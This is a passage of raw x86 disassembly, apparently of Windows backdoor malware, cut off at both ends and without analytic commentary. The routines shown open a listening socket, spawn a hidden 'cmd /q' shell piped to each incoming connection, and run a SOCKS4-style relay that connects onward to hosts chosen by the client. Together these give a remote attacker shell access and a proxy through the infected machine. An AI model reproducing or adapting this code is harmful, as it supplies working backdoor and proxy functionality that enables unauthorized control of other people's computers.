lea eax, [ebp+arg_4+3]
push 1
push eax
push [ebp+arg_0]
call ds:dword_4E2FE0 ; recv
cmp eax, 1
jnz short loc_411316
mov al, byte ptr [ebp+arg_4+3]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41130B
test al, al
jnz short loc_4112E0
xor eax, eax
inc eax
loc_411308: ; CODE XREF: sub_4112D9+3Fj
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41130B: ; CODE XREF: sub_4112D9+26j
push offset unk_44B0F8
call sub_415AB0
pop ecx
loc_411316: ; CODE XREF: sub_4112D9+1Bj
xor eax, eax
jmp short loc_411308
sub_4112D9 endp
; =============== S U B R O U T I N E =======================================
sub_41131A proc near ; CODE XREF: sub_4110D4+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_411345
push [esp+arg_4]
push [esp+4+arg_0]
push offset unk_44B124
call sub_415AB0
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_411345: ; CODE XREF: sub_41131A+11j
xor eax, eax
inc eax
retn
sub_41131A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411349 proc near ; DATA XREF: sub_401C87+235Eo
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
xor edi, edi
inc edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call ds:dword_4E2F38 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_4113A2
push eax
push offset unk_44B15C
call sub_415AB0
push [ebp+var_4C]
call sub_40B9A7
add esp, 0Ch
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4113A2: ; CODE XREF: sub_411349+3Aj
push edi
push offset loc_4115C6
call ds:dword_4F53F8 ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_4113DB
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B188
call sub_415AB0
pop ecx
pop ecx
call ds:dword_4E2F20 ; WSACleanup
push [ebp+var_4C]
call sub_40B9A7
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4113DB: ; CODE XREF: sub_411349+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call ds:dword_4E2FC8 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call ds:dword_4E3048 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_411551
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov ds:dword_455F0C[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call ds:dword_4E2FF4 ; bind
test eax, eax
jnz loc_411551
push 7FFFFFFFh
push ebx
call ds:dword_4E2FF0 ; listen
test eax, eax
jnz loc_411551
push offset unk_44B1CC
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415A3C
pop ecx
mov [ebp+arg_0], edi
loc_41146A: ; CODE XREF: sub_411349+15Aj
; sub_411349+203j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call ds:dword_4E305C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_411554
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call ds:dword_4E2FA8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41146A
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset unk_44B208
push eax
call sub_41EA60
lea eax, [ebp+var_414]
push eax
call sub_415A3C
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40B691
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov ds:dword_455F04[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4110D4
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov ds:dword_455F14[ecx], eax
jnz short loc_411547
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B24C
call sub_415AB0
pop ecx
pop ecx
jmp short loc_411554
; ---------------------------------------------------------------------------
loc_41153F: ; CODE XREF: sub_411349+201j
push 32h
call ds:dword_4F534C ; Sleep
loc_411547: ; CODE XREF: sub_411349+1DFj
cmp [ebp+var_38], esi
jz short loc_41153F
jmp loc_41146A
; ---------------------------------------------------------------------------
loc_411551: ; CODE XREF: sub_411349+C8j
; sub_411349+ECj ...
mov edi, [ebp+arg_0]
loc_411554: ; CODE XREF: sub_411349+13Cj
; sub_411349+1F4j
call ds:dword_4E2F5C ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset unk_44B288
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_411594
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_409C75
add esp, 14h
loc_411594: ; CODE XREF: sub_411349+229j
lea eax, [ebp+var_414]
push eax
call sub_415A3C
pop ecx
push edi
call ds:dword_4E3060 ; closesocket
push ebx
call ds:dword_4E3060 ; closesocket
call ds:dword_4E2F20 ; WSACleanup
push [ebp+var_4C]
call sub_40B9A7
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop ebx
loc_4115C6: ; DATA XREF: sub_411349+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_411349 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4115D0 proc near ; CODE XREF: sub_4110D4+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411725
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, ds:dword_455F0C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, ds:dword_4F5350
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4118F7
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_41163F
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B2C0
call sub_415AB0
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_41171F
; ---------------------------------------------------------------------------
loc_41163F: ; CODE XREF: sub_4115D0+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411995
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411680
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B308
call sub_415AB0
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_4F5380 ; TerminateThread
xor eax, eax
jmp loc_411720
; ---------------------------------------------------------------------------
loc_411680: ; CODE XREF: sub_4115D0+86j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call ds:dword_4F53FC ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4116DA
dec eax
jz short loc_4116D4
dec eax
jz short loc_4116C0
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B350
call sub_415AB0
pop ecx
pop ecx
jmp short loc_4116EF
; ---------------------------------------------------------------------------
loc_4116C0: ; CODE XREF: sub_4115D0+D9j
mov edi, ds:dword_4F5380
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_4116EF
; ---------------------------------------------------------------------------
loc_4116D4: ; CODE XREF: sub_4115D0+D6j
push ebx
push dword ptr [esi+10h]
jmp short loc_4116DE
; ---------------------------------------------------------------------------
loc_4116DA: ; CODE XREF: sub_4115D0+D3j
push ebx
push dword ptr [esi+14h]
loc_4116DE: ; CODE XREF: sub_4115D0+108j
call ds:dword_4F5380 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_4F53C4 ; TerminateProcess
loc_4116EF: ; CODE XREF: sub_4115D0+EEj
; sub_4115D0+102j
push dword ptr [esi+10h]
mov edi, ds:off_4F533C
call edi ; sub_50B3D5
push dword ptr [esi+14h]
call edi ; sub_50B3D5
push dword ptr [esi+8]
call edi ; sub_50B3D5
push dword ptr [esi]
call edi ; sub_50B3D5
push dword ptr [esi+4]
call edi ; sub_50B3D5
push dword ptr [esi+0Ch]
call ds:dword_4E3060 ; closesocket
push esi
call sub_41C9D0
xor eax, eax
inc eax
loc_41171F: ; CODE XREF: sub_4115D0+6Aj
pop ecx
loc_411720: ; CODE XREF: sub_4115D0+ABj
pop edi
pop esi
pop ebx
leave
retn
sub_4115D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411725 proc near ; CODE XREF: sub_4115D0+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BE40
mov esi, eax
pop ecx
cmp esi, edi
jz loc_41180F
mov ebx, ds:dword_4F53D0
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx ; CreatePipe
mov edi, ds:off_4F533C
test eax, eax
jnz short loc_411788
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B388
jmp short loc_4117A8
; ---------------------------------------------------------------------------
loc_411788: ; CODE XREF: sub_411725+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx ; CreatePipe
test eax, eax
jnz short loc_4117B0
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B3C8
loc_4117A8: ; CODE XREF: sub_411725+61j
call sub_415AB0
pop ecx
jmp short loc_4117DE
; ---------------------------------------------------------------------------
loc_4117B0: ; CODE XREF: sub_411725+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_41181E
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi ; sub_50B3D5
push [ebp+var_8]
call edi ; sub_50B3D5
cmp dword ptr [esi+8], 0
jnz short loc_411813
push offset unk_44B408
call sub_415A3C
loc_4117DE: ; CODE XREF: sub_411725+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4117EA
push [ebp+var_4]
call edi ; sub_50B3D5
loc_4117EA: ; CODE XREF: sub_411725+BEj
cmp [ebp+var_8], 0
jz short loc_4117F5
push [ebp+var_8]
call edi ; sub_50B3D5
loc_4117F5: ; CODE XREF: sub_411725+C9j
mov eax, [esi]
test eax, eax
jz short loc_4117FE
push eax
call edi ; sub_50B3D5
loc_4117FE: ; CODE XREF: sub_411725+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_411808
push eax
call edi ; sub_50B3D5
loc_411808: ; CODE XREF: sub_411725+DEj
push esi
call sub_41C9D0
pop ecx
loc_41180F: ; CODE XREF: sub_411725+1Dj
xor eax, eax
jmp short loc_411819
; ---------------------------------------------------------------------------
loc_411813: ; CODE XREF: sub_411725+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_411819: ; CODE XREF: sub_411725+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411725 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41181E proc near ; CODE XREF: sub_411725+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41E4B0
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41E4B0
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, ds:dword_4F53CC
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_4F53C8 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jz short loc_4118DA
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov ds:dword_455F08[eax], ecx
call ds:off_4F533C
jmp short loc_4118F0
; ---------------------------------------------------------------------------
loc_4118DA: ; CODE XREF: sub_41181E+9Aj
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_44B438
call sub_415AB0
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4118F0: ; CODE XREF: sub_41181E+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_41181E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4118F7 proc near ; DATA XREF: sub_4115D0+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
mov ebx, ds:off_4F53BC
push esi
push edi
mov edi, [ebp+arg_0]
jmp short loc_41195A
; ---------------------------------------------------------------------------
loc_41190E: ; CODE XREF: sub_4118F7+7Bj
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411943
loc_411919: ; CODE XREF: sub_4118F7+4Aj
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411933
cmp dl, 0Dh
jz short loc_411933
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411933: ; CODE XREF: sub_4118F7+2Cj
; sub_4118F7+31j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411919
loc_411943: ; CODE XREF: sub_4118F7+20j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call ds:dword_4E3018 ; send
test eax, eax
jle short loc_411974
loc_41195A: ; CODE XREF: sub_4118F7+15j
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
call ebx ; sub_50B3FC
test eax, eax
jnz short loc_41190E
loc_411974: ; CODE XREF: sub_4118F7+61j
mov esi, ds:dword_4F5360
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_411990
call esi ; RtlGetLastWin32Error
push eax
push offset unk_44B470
call sub_415AB0
pop ecx
pop ecx
loc_411990: ; CODE XREF: sub_4118F7+88j
pop edi
pop esi
pop ebx
leave
retn
sub_4118F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411995 proc near ; DATA XREF: sub_4115D0+75o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
jmp loc_411A8E
; ---------------------------------------------------------------------------
loc_4119B0: ; CODE XREF: sub_411995+10Ej
cmp [ebp+var_10], ebx
jbe short loc_4119BD
dec [ebp+var_10]
jmp loc_411A91
; ---------------------------------------------------------------------------
loc_4119BD: ; CODE XREF: sub_411995+1Ej
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411A79
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411A2D
cmp al, 7Fh
jz short loc_411A2D
cmp al, 3
jnz short loc_4119E8
push ebx
push ebx
call ds:dword_4F5400 ; GenerateConsoleCtrlEvent
jmp short loc_411A54
; ---------------------------------------------------------------------------
loc_4119E8: ; CODE XREF: sub_411995+47j
cmp al, 15h
jnz short loc_411A0A
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411A40
; ---------------------------------------------------------------------------
loc_411A0A: ; CODE XREF: sub_411995+55j
xor ecx, ecx
mov [ebp+esi+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+var_8], al
jnz short loc_411A41
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411A40
; ---------------------------------------------------------------------------
loc_411A2D: ; CODE XREF: sub_411995+3Fj
; sub_411995+43j
cmp esi, ebx
jbe short loc_411A57
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411A40: ; CODE XREF: sub_411995+73j
; sub_411995+96j
pop ecx
loc_411A41: ; CODE XREF: sub_411995+85j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call ds:dword_4E3018 ; send
test eax, eax
jle short loc_411AA9
loc_411A54: ; CODE XREF: sub_411995+51j
mov al, byte ptr [ebp+arg_0+3]
loc_411A57: ; CODE XREF: sub_411995+9Aj
cmp al, 0Dh
jnz short loc_411A91
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call ds:dword_4F53B4 ; WriteFile
test eax, eax
jz short loc_411AA9
xor esi, esi
jmp short loc_411A91
; ---------------------------------------------------------------------------
loc_411A79: ; CODE XREF: sub_411995+34j
cmp [ebp+var_C], ebx
jnz short loc_411A87
mov [ebp+var_C], 1
jmp short loc_411A91
; ---------------------------------------------------------------------------
loc_411A87: ; CODE XREF: sub_411995+E7j
mov [ebp+var_10], 0Ah
loc_411A8E: ; CODE XREF: sub_411995+16j
mov [ebp+var_C], ebx
loc_411A91: ; CODE XREF: sub_411995+23j
; sub_411995+C4j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call ds:dword_4E2FE0 ; recv
test eax, eax
jg loc_4119B0
loc_411AA9: ; CODE XREF: sub_411995+BDj
; sub_411995+DEj
pop edi
pop esi
pop ebx
leave
retn
sub_411995 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAE proc near ; DATA XREF: sub_401C87+2C00o
var_2D4 = byte ptr -2D4h
var_D4 = dword ptr -0D4h
var_D0 = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
xor edi, edi
xor esi, esi
inc edi
push ebx
mov [eax+0A8h], edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_40]
call ds:dword_4E2FC8 ; htons
push 6
push edi
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
call ds:dword_4E3048 ; socket
mov edi, eax
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov ds:dword_455F0C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call ds:dword_4E2FF4 ; bind
test eax, eax
jnz loc_411C4F
push 0Ah
push edi
call ds:dword_4E2FF0 ; listen
test eax, eax
jnz loc_411C4F
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AEAD
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset dword_44B4B0
push eax
call sub_41EA60
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_411B89
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409C75
add esp, 14h
loc_411B89: ; CODE XREF: sub_411AAE+B9j
; sub_411AAE+18Aj ...
lea eax, [ebp+var_2D4]
push eax
call sub_415A3C
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call ds:dword_4E305C ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call ds:dword_4E3054 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset dword_44B4D8
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_2D4]
push 19h
push eax
call sub_40B691
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov ds:dword_455F04[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411CB2
push esi
push esi
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov ds:dword_455F14[ecx], eax
jnz short loc_411C45
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D4]
push offset dword_44B51C
push eax
call sub_41EA60
add esp, 0Ch
jmp loc_411B89
; ---------------------------------------------------------------------------
loc_411C3D: ; CODE XREF: sub_411AAE+19Aj
push 5
call ds:dword_4F534C ; Sleep
loc_411C45: ; CODE XREF: sub_411AAE+16Dj
cmp [ebp+var_28], esi
jz short loc_411C3D
jmp loc_411B89
; ---------------------------------------------------------------------------
loc_411C4F: ; CODE XREF: sub_411AAE+7Bj
; sub_411AAE+8Cj
push edi
call ds:dword_4E3060 ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset dword_44B558
push eax
call sub_41EA60
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411C92
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_409C75
add esp, 14h
loc_411C92: ; CODE XREF: sub_411AAE+1C2j
lea eax, [ebp+var_2D4]
push eax
call sub_415A3C
push [ebp+var_3C]
call sub_40B9A7
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
pop ebx
sub_411AAE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CB2 proc near ; DATA XREF: sub_411AAE+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
var_4C8 = byte ptr -4C8h
var_C8 = byte ptr -0C8h
var_44 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
xor edi, edi
mov [ebp+arg_0], esi
imul esi, 234h
inc edi
lea esi, dword_455F0C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call ds:dword_4E2FB0 ; select
test eax, eax
jnz short loc_411D33
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411D33: ; CODE XREF: sub_411CB2+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call ds:dword_4E2FE0 ; recv
test eax, eax
jg short loc_411D64
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411D64: ; CODE XREF: sub_411CB2+98j
cmp [ebp+var_4D0], 4
jnz loc_411F5E
cmp [ebp+var_4CF], 1
jnz loc_411F5E
cmp [ebp+var_44], bl
jz short loc_411DFA
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_41F7E0
pop ecx
test eax, eax
pop ecx
jz short loc_411DFA
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset dword_44B58C
call sub_415AB0
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_41E4B0
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_4E3018 ; send
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411DFA: ; CODE XREF: sub_411CB2+CFj
; sub_411CB2+E5j
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_41E4B0
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call ds:dword_4E3048 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_411E92
call ds:dword_4E2F5C ; WSAGetLastError
push eax
push offset dword_44B5CC
call sub_415AB0
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_41E4B0
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_4E3018 ; send
push dword ptr [esi]
call ds:dword_4E3060 ; closesocket
push [ebp+arg_0]
call sub_40B9A7
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_411E92: ; CODE XREF: sub_411CB2+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_411F01
call ds:dword_4E2F5C ; WSAGetLastError
push eax
